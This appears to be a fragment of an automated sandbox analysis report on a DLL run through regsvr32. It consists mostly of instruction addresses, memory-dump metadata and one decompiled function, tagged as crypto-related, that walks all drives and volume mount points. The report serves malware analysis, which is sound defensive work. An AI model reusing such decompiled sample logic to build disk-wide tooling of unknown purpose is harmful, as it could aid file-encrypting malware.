                                                                                                        0x18002ab02
                                                                                                        0x18002ab04
                                                                                                        0x18002ab0c
                                                                                                        0x18002ab19
                                                                                                        0x18002ab1e
                                                                                                        0x18002ab25
                                                                                                        0x18002ab34
                                                                                                        0x18002ab3a
                                                                                                        0x18002ab40
                                                                                                        0x18002ab46
                                                                                                        0x18002ab4c
                                                                                                        0x18002ab4f
                                                                                                        0x18002ab53
                                                                                                        0x18002ab5d
                                                                                                        0x18002ab5f
                                                                                                        0x18002ab66
                                                                                                        0x18002ab6d
                                                                                                        0x18002ab6f
                                                                                                        0x18002ab76
                                                                                                        0x18002ab7b
                                                                                                        0x18002ab7f
                                                                                                        0x18002ab85
                                                                                                        0x18002ab8a
                                                                                                        0x18002ab8f
                                                                                                        0x18002ab95
                                                                                                        0x18002ab9a
                                                                                                        0x18002aba1
                                                                                                        0x18002abb8
                                                                                                        0x18002abbc
                                                                                                        0x18002abc6
                                                                                                        0x18002abd0
                                                                                                        0x18002abd3
                                                                                                        0x18002abdd
                                                                                                        0x18002abe7
                                                                                                        0x18002abe9
                                                                                                        0x18002abec
                                                                                                        0x18002abf3
                                                                                                        0x18002abfb
                                                                                                        0x18002ac04
                                                                                                        0x18002ac0a
                                                                                                        0x18002ac0d
                                                                                                        0x18002ac16
                                                                                                        0x18002ac1c
                                                                                                        0x18002ac2d
                                                                                                        0x18002ac3b
                                                                                                        0x18002ac40
                                                                                                        0x18002ac49
                                                                                                        0x18002ac55
                                                                                                        0x18002ac5d
                                                                                                        0x18002ac64
                                                                                                        0x18002ac67
                                                                                                        0x18002ac6e
                                                                                                        0x18002ac7a
                                                                                                        0x18002ac8f
                                                                                                        0x18002ac97
                                                                                                        0x18002ac9c
                                                                                                        0x18002aca3
                                                                                                        0x18002aca6
                                                                                                        0x18002acab
                                                                                                        0x18002acad
                                                                                                        0x18002acb1
                                                                                                        0x18002acb6
                                                                                                        0x18002acbe
                                                                                                        0x18002acc2
                                                                                                        0x18002acca
                                                                                                        0x18002acd0
                                                                                                        0x18002acd8
                                                                                                        0x18002ace0
                                                                                                        0x18002ace6
                                                                                                        0x18002aceb
                                                                                                        0x18002acee
                                                                                                        0x18002acf3
                                                                                                        0x18002acf6
                                                                                                        0x18002acfd
                                                                                                        0x18002ad03
                                                                                                        0x18002ad0d
                                                                                                        0x18002ad16
                                                                                                        0x18002ad1c
                                                                                                        0x18002ad1f
                                                                                                        0x18002ad25
                                                                                                        0x18002ad3f
                                                                                                        0x18002ad4d
                                                                                                        0x18002ad52
                                                                                                        0x18002ad5b
                                                                                                        0x18002ad63
                                                                                                        0x18002ad6b
                                                                                                        0x18002ad72
                                                                                                        0x18002ad75
                                                                                                        0x18002ad7c
                                                                                                        0x18002ad7e
                                                                                                        0x18002ad81
                                                                                                        0x18002ad8f
                                                                                                        0x18002ad9b
                                                                                                        0x18002ada2
                                                                                                        0x18002ada7
                                                                                                        0x18002adaa
                                                                                                        0x18002adb4
                                                                                                        0x18002adba
                                                                                                        0x18002adc0
                                                                                                        0x18002adc8
                                                                                                        0x18002addf
                                                                                                        0x18002adf0
                                                                                                        0x18002adf4
                                                                                                        0x18002adfa
                                                                                                        0x18002adff
                                                                                                        0x18002ae07
                                                                                                        0x18002ae0e
                                                                                                        0x18002ae11
                                                                                                        0x18002ae18
                                                                                                        0x18002ae1a
                                                                                                        0x18002ae1d
                                                                                                        0x18002ae2b
                                                                                                        0x18002ae37
                                                                                                        0x18002ae3e
                                                                                                        0x18002ae43
                                                                                                        0x18002ae4a
                                                                                                        0x18002ae4d
                                                                                                        0x18002ae50
                                                                                                        0x18002ae5a
                                                                                                        0x18002ae60
                                                                                                        0x18002ae67
                                                                                                        0x18002ae70
                                                                                                        0x18002ae80
                                                                                                        0x18002ae83
                                                                                                        0x18002ae87
                                                                                                        0x18002ae89
                                                                                                        0x18002ae8f
                                                                                                        0x18002ae9e
                                                                                                        0x18002aea3
                                                                                                        0x18002aed6
                                                                                                        0x18002aedc
                                                                                                        0x18002aee8
                                                                                                        0x18002af0c
                                                                                                        0x18002af11
                                                                                                        0x18002af1c
                                                                                                        0x18002af22
                                                                                                        0x18002af2c
                                                                                                        0x18002af2e
                                                                                                        0x18002af34
                                                                                                        0x18002af3a
                                                                                                        0x18002af44
                                                                                                        0x18002af4c
                                                                                                        0x18002af55
                                                                                                        0x18002af5b
                                                                                                        0x18002af5e
                                                                                                        0x18002af67
                                                                                                        0x18002af8c
                                                                                                        0x18002af91
                                                                                                        0x18002af9e
                                                                                                        0x18002afa6
                                                                                                        0x18002afae
                                                                                                        0x18002afb5
                                                                                                        0x18002afb8
                                                                                                        0x18002afbf
                                                                                                        0x18002afc4
                                                                                                        0x18002afc7
                                                                                                        0x18002afd4
                                                                                                        0x18002afe6
                                                                                                        0x18002afed
                                                                                                        0x18002aff4
                                                                                                        0x18002b00b
                                                                                                        0x18002b011
                                                                                                        0x18002b023
                                                                                                        0x18002b02a
                                                                                                        0x18002b033
                                                                                                        0x18002b035
                                                                                                        0x18002b03b
                                                                                                        0x18002b041
                                                                                                        0x18002b046
                                                                                                        0x18002b050
                                                                                                        0x18002b059
                                                                                                        0x18002b05f
                                                                                                        0x18002b062
                                                                                                        0x18002b06b
                                                                                                        0x18002b090
                                                                                                        0x18002b095
                                                                                                        0x18002b0a2
                                                                                                        0x18002b0a8
                                                                                                        0x18002b0ab
                                                                                                        0x18002b0b1
                                                                                                        0x18002b0b8
                                                                                                        0x18002b0c3
                                                                                                        0x18002b0ca
                                                                                                        0x18002b0d2
                                                                                                        0x18002b0e1
                                                                                                        0x18002b0e4
                                                                                                        0x18002b0e8
                                                                                                        0x18002b0ef
                                                                                                        0x18002b0fb
                                                                                                        0x18002b100
                                                                                                        0x18002b106
                                                                                                        0x18002b10c
                                                                                                        0x18002b10f
                                                                                                        0x18002b118
                                                                                                        0x18002b11e
                                                                                                        0x18002b121
                                                                                                        0x18002b127
                                                                                                        0x18002b12c
                                                                                                        0x18002b132
                                                                                                        0x18002b13e
                                                                                                        0x18002b144
                                                                                                        0x18002b14b
                                                                                                        0x18002b151
                                                                                                        0x18002b157
                                                                                                        0x18002b15a
                                                                                                        0x18002b161
                                                                                                        0x18002b16c
                                                                                                        0x18002b16e
                                                                                                        0x18002b176
                                                                                                        0x18002b17a
                                                                                                        0x18002b183
                                                                                                        0x18002b19c
                                                                                                        0x18002b1a6
                                                                                                        0x18002b1ba
                                                                                                        0x18002b1be
                                                                                                        0x18002b1c4
                                                                                                        0x18002b1c6
                                                                                                        0x18002b1c6
                                                                                                        0x18002b1d0
                                                                                                        0x18002b1d3
                                                                                                        0x18002b1d5
                                                                                                        0x18002b1dd
                                                                                                        0x18002b1e3
                                                                                                        0x18002b1ef
                                                                                                        0x18002b1f6
                                                                                                        0x18002b204
                                                                                                        0x18002b206
                                                                                                        0x18002b20f
                                                                                                        0x18002b215
                                                                                                        0x18002b21a
                                                                                                        0x18002b220
                                                                                                        0x18002b226
                                                                                                        0x18002b234
                                                                                                        0x18002b246
                                                                                                        0x18002b24b
                                                                                                        0x18002b254
                                                                                                        0x18002b259
                                                                                                        0x18002b267
                                                                                                        0x18002b26b
                                                                                                        0x18002b27a
                                                                                                        0x18002b27d
                                                                                                        0x18002b297
                                                                                                        0x18002b29d
                                                                                                        0x18002b2a0
                                                                                                        0x18002b2ae
                                                                                                        0x18002b2c1
                                                                                                        0x18002b2c6
                                                                                                        0x18002b2cd
                                                                                                        0x18002b2d0
                                                                                                        0x18002b2d2
                                                                                                        0x18002b2e0
                                                                                                        0x18002b2ee
                                                                                                        0x18002b2f6
                                                                                                        0x18002b2fb
                                                                                                        0x18002b302
                                                                                                        0x18002b308
                                                                                                        0x18002b30d
                                                                                                        0x18002b310
                                                                                                        0x18002b31e
                                                                                                        0x18002b32a
                                                                                                        0x18002b331
                                                                                                        0x18002b336
                                                                                                        0x18002b33d
                                                                                                        0x18002b34a
                                                                                                        0x18002b350
                                                                                                        0x18002b356
                                                                                                        0x18002b35b
                                                                                                        0x18002b361
                                                                                                        0x18002b36b
                                                                                                        0x18002b372
                                                                                                        0x18002b37d
                                                                                                        0x18002b385
                                                                                                        0x18002b389
                                                                                                        0x18002b393
                                                                                                        0x18002b39c
                                                                                                        0x18002b3a4
                                                                                                        0x18002b3ab
                                                                                                        0x18002b3ae
                                                                                                        0x18002b3b5
                                                                                                        0x18002b3bd
                                                                                                        0x18002b3c2
                                                                                                        0x18002b3c4
                                                                                                        0x18002b3c7
                                                                                                        0x18002b3d0
                                                                                                        0x18002b3f5
                                                                                                        0x18002b3fa
                                                                                                        0x18002b403
                                                                                                        0x18002b40f
                                                                                                        0x18002b417
                                                                                                        0x18002b41e
                                                                                                        0x18002b421
                                                                                                        0x18002b428
                                                                                                        0x18002b42d
                                                                                                        0x18002b434
                                                                                                        0x18002b439
                                                                                                        0x18002b43c
                                                                                                        0x18002b44a
                                                                                                        0x18002b456
                                                                                                        0x18002b45d
                                                                                                        0x18002b462
                                                                                                        0x18002b469
                                                                                                        0x18002b46c
                                                                                                        0x18002b47a
                                                                                                        0x18002b484
                                                                                                        0x18002b48f
                                                                                                        0x18002b49e
                                                                                                        0x18002b4a5
                                                                                                        0x18002b4ab
                                                                                                        0x18002b4b1
                                                                                                        0x18002b4b4
                                                                                                        0x18002b4b8
                                                                                                        0x18002b4bb
                                                                                                        0x18002b4c1
                                                                                                        0x18002b4d2
                                                                                                        0x18002b4d7
                                                                                                        0x18002b4f5
                                                                                                        0x18002b503
                                                                                                        0x18002b50a
                                                                                                        0x18002b510
                                                                                                        0x18002b51c
                                                                                                        0x18002b540
                                                                                                        0x18002b545
                                                                                                        0x18002b550
                                                                                                        0x18002b560
                                                                                                        0x18002b562
                                                                                                        0x18002b565
                                                                                                        0x18002b56b
                                                                                                        0x18002b572
                                                                                                        0x18002b57d
                                                                                                        0x18002b584
                                                                                                        0x18002b589
                                                                                                        0x18002b590
                                                                                                        0x18002b59c
                                                                                                        0x18002b5a4
                                                                                                        0x18002b5a9
                                                                                                        0x18002b5ab
                                                                                                        0x18002b5ae
                                                                                                        0x18002b5b7
                                                                                                        0x18002b5dc
                                                                                                        0x18002b5e1
                                                                                                        0x18002b5ea
                                                                                                        0x18002b5f2
                                                                                                        0x18002b5fa
                                                                                                        0x18002b601
                                                                                                        0x18002b604
                                                                                                        0x18002b60b
                                                                                                        0x18002b60d
                                                                                                        0x18002b610
                                                                                                        0x18002b616
                                                                                                        0x18002b61d
                                                                                                        0x18002b628
                                                                                                        0x18002b62f
                                                                                                        0x18002b634
                                                                                                        0x18002b63d
                                                                                                        0x18002b642
                                                                                                        0x18002b647
                                                                                                        0x18002b64e
                                                                                                        0x18002b659
                                                                                                        0x18002b65f
                                                                                                        0x18002b66a
                                                                                                        0x18002b677
                                                                                                        0x18002b680
                                                                                                        0x18002b682
                                                                                                        0x18002b685
                                                                                                        0x18002b68b
                                                                                                        0x18002b692
                                                                                                        0x18002b69a
                                                                                                        0x18002b6a1
                                                                                                        0x18002b6a6
                                                                                                        0x18002b6ab
                                                                                                        0x18002b6b2
                                                                                                        0x18002b6ba
                                                                                                        0x18002b6c3
                                                                                                        0x18002b6c9
                                                                                                        0x18002b6cc
                                                                                                        0x18002b6cf
                                                                                                        0x18002b6d5
                                                                                                        0x18002b6fa
                                                                                                        0x18002b6ff
                                                                                                        0x18002b70c
                                                                                                        0x18002b714
                                                                                                        0x18002b71c
                                                                                                        0x18002b723
                                                                                                        0x18002b726
                                                                                                        0x18002b72d
                                                                                                        0x18002b732
                                                                                                        0x18002b735
                                                                                                        0x18002b73b
                                                                                                        0x18002b73b
                                                                                                        0x18002b742
                                                                                                        0x18002b74b
                                                                                                        0x18002b74b
                                                                                                        0x18002b752
                                                                                                        0x18002b757
                                                                                                        0x18002b761
                                                                                                        0x18002b766
                                                                                                        0x18002b76e
                                                                                                        0x18002b775
                                                                                                        0x18002b778
                                                                                                        0x18002b77c
                                                                                                        0x18002b783
                                                                                                        0x18002b788
                                                                                                        0x18002b78f
                                                                                                        0x18002b795
                                                                                                        0x18002b79b
                                                                                                        0x18002b79e
                                                                                                        0x18002b7a7
                                                                                                        0x18002b7ad
                                                                                                        0x18002b7b0
                                                                                                        0x18002b7b6
                                                                                                        0x18002b7bb
                                                                                                        0x18002b7c1
                                                                                                        0x18002b7c9
                                                                                                        0x18002b7c9
                                                                                                        0x18002b7cd
                                                                                                        0x18002b7d3
                                                                                                        0x18002b7da
                                                                                                        0x18002b7e0
                                                                                                        0x18002b7e6
                                                                                                        0x18002b7e9
                                                                                                        0x18002b7f0
                                                                                                        0x18002b7fb
                                                                                                        0x18002b7fd
                                                                                                        0x18002b805
                                                                                                        0x18002b809
                                                                                                        0x18002b812
                                                                                                        0x18002b82c
                                                                                                        0x18002b836
                                                                                                        0x18002b84a
                                                                                                        0x18002b84e
                                                                                                        0x18002b854
                                                                                                        0x18002b85a
                                                                                                        0x18002b85a
                                                                                                        0x18002b864
                                                                                                        0x18002b867
                                                                                                        0x18002b869
                                                                                                        0x18002b871
                                                                                                        0x18002b877
                                                                                                        0x18002b883
                                                                                                        0x18002b88a
                                                                                                        0x18002b898
                                                                                                        0x18002b89e
                                                                                                        0x18002b8a9
                                                                                                        0x18002b8af
                                                                                                        0x18002b8b5
                                                                                                        0x18002b8b8
                                                                                                        0x18002b8ca
                                                                                                        0x18002b8d0
                                                                                                        0x18002b8d7
                                                                                                        0x18002b8dc
                                                                                                        0x18002b8e1
                                                                                                        0x18002b8e8
                                                                                                        0x18002b8ef
                                                                                                        0x18002b8f4
                                                                                                        0x18002b8fa
                                                                                                        0x18002b8ff
                                                                                                        0x18002b904
                                                                                                        0x18002b920
                                                                                                        0x18002b92e
                                                                                                        0x18002b934
                                                                                                        0x18002b937
                                                                                                        0x18002b93b
                                                                                                        0x18002b93f
                                                                                                        0x18002b94b
                                                                                                        0x18002b952
                                                                                                        0x18002b957
                                                                                                        0x18002b95e
                                                                                                        0x18002b963
                                                                                                        0x18002b969
                                                                                                        0x18002b972
                                                                                                        0x18002b977
                                                                                                        0x18002b97b
                                                                                                        0x18002b97f
                                                                                                        0x18002b986
                                                                                                        0x18002b992
                                                                                                        0x18002b997
                                                                                                        0x18002b99c
                                                                                                        0x18002b9a3
                                                                                                        0x18002b9a6
                                                                                                        0x18002b9ae
                                                                                                        0x18002b9b3
                                                                                                        0x18002b9b8
                                                                                                        0x18002b9bb
                                                                                                        0x18002b9c0
                                                                                                        0x18002b9c5
                                                                                                        0x18002b9c7
                                                                                                        0x18002b9ca
                                                                                                        0x18002b9d3
                                                                                                        0x18002b9d9
                                                                                                        0x18002b9ea
                                                                                                        0x18002b9f8
                                                                                                        0x18002b9fd
                                                                                                        0x18002ba0a
                                                                                                        0x18002ba12
                                                                                                        0x18002ba1a
                                                                                                        0x18002ba21
                                                                                                        0x18002ba24
                                                                                                        0x18002ba2b
                                                                                                        0x18002ba35
                                                                                                        0x18002ba38
                                                                                                        0x18002ba3c
                                                                                                        0x18002ba3c
                                                                                                        0x18002ba40
                                                                                                        0x18002ba47
                                                                                                        0x18002ba4e
                                                                                                        0x18002ba5e
                                                                                                        0x18002ba63
                                                                                                        0x18002ba66
                                                                                                        0x18002ba6a
                                                                                                        0x18002ba6c
                                                                                                        0x18002ba7d
                                                                                                        0x18002ba86
                                                                                                        0x18002ba89
                                                                                                        0x18002ba8b
                                                                                                        0x18002ba97
                                                                                                        0x18002ba9d
                                                                                                        0x18002baa4
                                                                                                        0x18002baa9
                                                                                                        0x18002baad
                                                                                                        0x18002bab2
                                                                                                        0x18002baba
                                                                                                        0x18002babe
                                                                                                        0x18002bac6
                                                                                                        0x18002bac8
                                                                                                        0x18002bacb
                                                                                                        0x18002bad0
                                                                                                        0x18002bad2
                                                                                                        0x18002bad6
                                                                                                        0x18002badb
                                                                                                        0x18002bae3
                                                                                                        0x18002bae7
                                                                                                        0x18002baef
                                                                                                        0x18002baf3
                                                                                                        0x18002bafb
                                                                                                        0x18002bb01
                                                                                                        0x18002bb03
                                                                                                        0x18002bb05
                                                                                                        0x18002bb07
                                                                                                        0x18002bb0b
                                                                                                        0x18002bb14
                                                                                                        0x18002bb20
                                                                                                        0x18002bb23
                                                                                                        0x18002bb26
                                                                                                        0x18002bb28
                                                                                                        0x18002bb2e
                                                                                                        0x18002bb32
                                                                                                        0x18002bb35
                                                                                                        0x18002bb3b
                                                                                                        0x18002bb43
                                                                                                        0x18002bb4b
                                                                                                        0x18002bb4f
                                                                                                        0x18002bb5b
                                                                                                        0x18002bb5d
                                                                                                        0x18002bb60
                                                                                                        0x18002bb64
                                                                                                        0x18002bb64
                                                                                                        0x18002bb68
                                                                                                        0x18002bb74
                                                                                                        0x18002bb74
                                                                                                        0x18002bb7b
                                                                                                        0x18002bb80
                                                                                                        0x18002bb87
                                                                                                        0x18002bb8a
                                                                                                        0x18002bb9f
                                                                                                        0x18002bba2
                                                                                                        0x18002bba9
                                                                                                        0x18002bbaf
                                                                                                        0x18002bbb6
                                                                                                        0x18002bbbc
                                                                                                        0x18002bbc4
                                                                                                        0x18002bbd0
                                                                                                        0x18002bbd6
                                                                                                        0x18002bbd8
                                                                                                        0x18002bbe0
                                                                                                        0x18002bbe2
                                                                                                        0x18002bbe8
                                                                                                        0x18002bbea
                                                                                                        0x18002bbf2
                                                                                                        0x18002bbf4
                                                                                                        0x18002bbf7
                                                                                                        0x18002bbfc
                                                                                                        0x18002bbff
                                                                                                        0x18002bc04
                                                                                                        0x18002bc07
                                                                                                        0x18002bc0a
                                                                                                        0x18002bc12
                                                                                                        0x18002bc18
                                                                                                        0x18002bc1a
                                                                                                        0x18002bc21
                                                                                                        0x18002bc23
                                                                                                        0x18002bc28
                                                                                                        0x18002bc2e
                                                                                                        0x18002bc32
                                                                                                        0x18002bc36
                                                                                                        0x18002bc3f
                                                                                                        0x18002bc45
                                                                                                        0x18002bc50
                                                                                                        0x18002bc52
                                                                                                        0x18002bc55
                                                                                                        0x18002bc5b
                                                                                                        0x18002bc65
                                                                                                        0x18002bc69
                                                                                                        0x18002bc6b
                                                                                                        0x18002bc6f
                                                                                                        0x18002bc74
                                                                                                        0x18002bc78
                                                                                                        0x18002bc7a
                                                                                                        0x18002bc7f
                                                                                                        0x18002bc82
                                                                                                        0x18002bc89
                                                                                                        0x18002bc8e
                                                                                                        0x18002bc91
                                                                                                        0x18002bc94
                                                                                                        0x18002bc96
                                                                                                        0x18002bc9a
                                                                                                        0x18002bc9c
                                                                                                        0x18002bca0
                                                                                                        0x18002bcb0
                                                                                                        0x18002bcb8
                                                                                                        0x18002bcbf
                                                                                                        0x18002bcc7
                                                                                                        0x18002bcca
                                                                                                        0x18002bccd
                                                                                                        0x18002bcd0
                                                                                                        0x18002bcd4
                                                                                                        0x18002bcd8
                                                                                                        0x18002bcdb
                                                                                                        0x18002bcf0
                                                                                                        0x18002bcf8
                                                                                                        0x18002bd00
                                                                                                        0x18002bd04
                                                                                                        0x18002bd09
                                                                                                        0x18002bd15
                                                                                                        0x18002bd17
                                                                                                        0x18002bd1a
                                                                                                        0x18002bd1e
                                                                                                        0x18002bd22
                                                                                                        0x18002bd2e
                                                                                                        0x18002bd2e
                                                                                                        0x18002bd35
                                                                                                        0x18002bd3a
                                                                                                        0x18002bd3f
                                                                                                        0x18002bd4e
                                                                                                        0x18002bd51
                                                                                                        0x18002bd58
                                                                                                        0x18002bd5a
                                                                                                        0x18002bd5e
                                                                                                        0x18002bd5e
                                                                                                        0x18002bd65
                                                                                                        0x18002bd76
                                                                                                        0x18002bd7c
                                                                                                        0x18002bd85
                                                                                                        0x18002bd8c
                                                                                                        0x18002bd8e
                                                                                                        0x18002bd96
                                                                                                        0x18002bd98
                                                                                                        0x18002bd9b
                                                                                                        0x18002bda1
                                                                                                        0x18002bdab
                                                                                                        0x18002bdae
                                                                                                        0x18002bdb6
                                                                                                        0x18002bdbc
                                                                                                        0x18002bdbe
                                                                                                        0x18002bdc5
                                                                                                        0x18002bdd8
                                                                                                        0x18002bdda
                                                                                                        0x18002bde7
                                                                                                        0x18002bde9
                                                                                                        0x18002bdef
                                                                                                        0x18002bdf6
                                                                                                        0x18002bdfd
                                                                                                        0x18002be09
                                                                                                        0x18002be11
                                                                                                        0x18002be15
                                                                                                        0x18002be18
                                                                                                        0x18002be21
                                                                                                        0x18002be24
                                                                                                        0x18002be28
                                                                                                        0x18002be2f
                                                                                                        0x18002be31
                                                                                                        0x18002be34
                                                                                                        0x18002be38
                                                                                                        0x18002be3c
                                                                                                        0x18002be42
                                                                                                        0x18002be49
                                                                                                        0x18002be59
                                                                                                        0x18002be5b
                                                                                                        0x18002be5e
                                                                                                        0x18002be60
                                                                                                        0x18002be66
                                                                                                        0x18002be73
                                                                                                        0x18002be7b
                                                                                                        0x18002be82
                                                                                                        0x18002be8c
                                                                                                        0x18002be8f
                                                                                                        0x18002bea4
                                                                                                        0x18002beb4
                                                                                                        0x18002beb9
                                                                                                        0x18002bebb
                                                                                                        0x18002bec0
                                                                                                        0x18002bec9
                                                                                                        0x18002becd
                                                                                                        0x18002bed9
                                                                                                        0x18002bee0
                                                                                                        0x18002bf15

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: memcpy_s$_invalid_parameter_noinfo
                                                                                                        • String ID: $
                                                                                                        • API String ID: 2880407647-227171996
                                                                                                        • Opcode ID: 6ef721bd50d3f1bc2e6a8bc8fef20168f32989c2e9d59aa07df3be1e1664247a
                                                                                                        • Instruction ID: 5e1624813878b86c7f3e546c7c97092941c0e4578f66c4cab49cddbd5ca373e4
                                                                                                        • Opcode Fuzzy Hash: 6ef721bd50d3f1bc2e6a8bc8fef20168f32989c2e9d59aa07df3be1e1664247a
                                                                                                        • Instruction Fuzzy Hash: AC03AF726146888FE7B78F25D9907EA37A5F3497C8F449119EA0697B88DF35DB08CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800076A8 Relevance: 40.5, APIs: 14, Strings: 9, Instructions: 251COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 25%
                                                                                                        			E000000011800076A8(void* __rax, void* __rcx, void* __rdx, long long __r8, void* __r9) {
				void* __rbx;
				void* __rsi;
				int _t70;
				void* _t71;
				void* _t73;
				long _t80;
				void* _t92;
				void* _t94;
				void* _t106;
				signed long long _t128;
				signed long long _t129;
				long long _t131;
				long long _t135;
				long long _t195;
				void* _t196;
				void* _t197;
				void* _t198;
				signed long long _t199;
				void* _t221;
				void* _t222;
				void* _t223;
				long long _t224;
				long long _t227;

				_t211 = __r9;
				_t197 = _t198 - 0x1178;
				E00000001180014A10(0x1278, __rax, _t221, _t222);
				_t199 = _t198 - __rax;
				_t128 =  *0x800d81f8; // 0x68308725f9ca
				_t129 = _t128 ^ _t199;
				 *(_t197 + 0x1160) = _t129;
				r13d = r9d;
				_t195 = __r8;
				_t196 = __rdx;
				_t223 = __rcx;
				E00000001180005CCC();
				r15d = 0;
				_t137 = _t129;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))) != r15d) goto 0x80007a99;
				E000000011800035A0(_t129,  *((intOrPtr*)( *((intOrPtr*)(__rdx + 0x240)) + 0x128)), __r8, __r9);
				_t70 = GetDriveTypeW(??);
				_t6 = _t227 + 3; // 0x3
				r14d = _t6;
				if (_t70 == r14d) goto 0x8000778f;
				if (_t70 != 0) goto 0x80007737;
				goto 0x8000777f;
				if (_t70 != 1) goto 0x80007745;
				goto 0x8000777f;
				if (_t70 != 2) goto 0x80007753;
				goto 0x8000777f;
				if (_t70 != 4) goto 0x80007761;
				goto 0x8000777f;
				if (_t70 != 5) goto 0x8000776f;
				goto 0x8000777f;
				if (_t70 != 6) goto 0x80007a99;
				_t71 = E000000011800035A0(_t129, L"Ignoring volume \'%s\' because it is a RAM disk.", _t195, _t211);
				goto 0x80007a99;
				r8d = 0x200;
				__imp__GetVolumeNameForVolumeMountPointW();
				if (_t71 != 0) goto 0x80007821;
				if (GetLastError() != r14d) goto 0x800077d9;
				r8d = 0;
				 *((long long*)(_t199 + 0x20)) = _t195;
				_t73 = E00000001180004968(_t94, 0, _t129, _t129, _t197 + 0x750, _t195,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x1c8)));
				goto 0x80007a99;
				r9d = 0x200;
				E0000000118000EFAC(_t73, _t129, _t197 + 0x350,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x1c8)));
				 *((long long*)(_t199 + 0x28)) = _t197 + 0x350;
				r8d = 0;
				 *((long long*)(_t199 + 0x20)) = _t195;
				E00000001180004968(_t94, 0, _t197 + 0x350, _t129, _t197 + 0x750, _t197 + 0x350,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x140)));
				goto 0x80007a99;
				 *((intOrPtr*)(_t199 + 0x38)) = r15d;
				_t131 = _t199 + 0x40;
				 *((long long*)(_t199 + 0x30)) = _t227;
				 *((long long*)(_t199 + 0x28)) = _t131;
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t199 + 0x20)) = _t227;
				GetVolumeInformationW(??, ??, ??, ??, ??, ??, ??, ??);
				if (( *(_t199 + 0x40) & 0x00080000) == 0) goto 0x8000786c;
				goto 0x8000777f;
				E00000001180053AC8(_t131, _t199 + 0x50,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x120)), _t197 + 0x750);
				E00000001180017824(0, _t199 + 0x50,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x140)));
				if (_t131 == _t199 + 0x50) goto 0x800078a4;
				if ( *((short*)(_t131 - 2)) != 0x5c) goto 0x800078a4;
				 *((intOrPtr*)(_t131 - 2)) = r15w;
				 *((long long*)(_t199 + 0x30)) = _t227;
				 *((intOrPtr*)(_t199 + 0x28)) = r15d;
				r9d = 0;
				r8d = r14d;
				 *((intOrPtr*)(_t199 + 0x20)) = r14d;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				_t224 = _t131;
				if (_t131 != 0xffffffff) goto 0x80007925;
				_t80 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t80, _t129, _t197 + 0x350,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x140)));
				r8d = 0;
				 *((long long*)(_t199 + 0x30)) = _t197 + 0x350;
				 *((long long*)(_t199 + 0x28)) = _t195;
				_t43 = _t224 + 2; // 0x2
				 *((long long*)(_t199 + 0x20)) = _t199 + 0x50;
				E00000001180004968(_t94, _t43, _t199 + 0x50, _t129,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x120)), _t197 + 0x350, L"Cannot open volume \'%s\' at mountpoint \'%s\': %s");
				goto 0x80007a99;
				 *((long long*)(_t199 + 0x38)) = _t227;
				 *((long long*)(_t199 + 0x30)) = _t199 + 0x44;
				r9d = 0;
				 *((intOrPtr*)(_t199 + 0x28)) = r15d;
				r8d = 0;
				 *((long long*)(_t199 + 0x20)) = _t227;
				if (DeviceIoControl(??, ??, ??, ??, ??, ??, ??, ??) != 0) goto 0x8000798e;
				_t135 = _t199 + 0x50;
				 *((long long*)(_t199 + 0x28)) = _t195;
				r8d = 0;
				 *((long long*)(_t199 + 0x20)) = _t135;
				E00000001180004968(_t94, 0, _t135, _t137,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0x120)), _t197 + 0x350,  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x240)) + 0xf8)));
				CloseHandle(??);
				goto 0x80007a99;
				CloseHandle(??);
				0x800264d8();
				_t55 = _t135 + 2; // 0x2
				0x80026bf8();
				if (_t135 == 0) goto 0x800079e2;
				E00000001180003248(_t94, _t135, _t135, _t55, L"%s*", _t195);
				r9d = r13d;
				E00000001180007ABC(_t94, _t106, _t55, _t223, _t196, _t135);
				E00000001180053D58(_t55, _t135, _t196);
				r8d = 0x304;
				__imp__FindFirstVolumeMountPointW();
				if (_t135 == 0xffffffff) goto 0x80007a99;
				0x800264d8();
				0x800264d8();
				_t60 = _t135 + 1; // 0x1
				0x80026bf8();
				if (_t135 == 0) goto 0x80007a72;
				 *((long long*)(_t199 + 0x20)) = _t197 + 0xb50;
				E00000001180003248(_t94, _t197 + 0xb50, _t135, _t60 + _t135, L"%s%s", _t195);
				r9d = r13d;
				E000000011800076A8(_t197 + 0xb50, _t223, _t196, _t135, _t195);
				_t92 = E00000001180053D58(_t135, _t135, _t196);
				r8d = 0x304;
				__imp__FindNextVolumeMountPointW();
				if (_t92 != 0) goto 0x80007a09;
				__imp__FindVolumeMountPointClose();
				return E000000011800149A0(_t92, _t94,  *(_t197 + 0x1160) ^ _t199);
			}


























                                                                                                        0x1800076a8
                                                                                                        0x1800076b5
                                                                                                        0x1800076c2
                                                                                                        0x1800076c7
                                                                                                        0x1800076ca
                                                                                                        0x1800076d1
                                                                                                        0x1800076d4
                                                                                                        0x1800076db
                                                                                                        0x1800076de
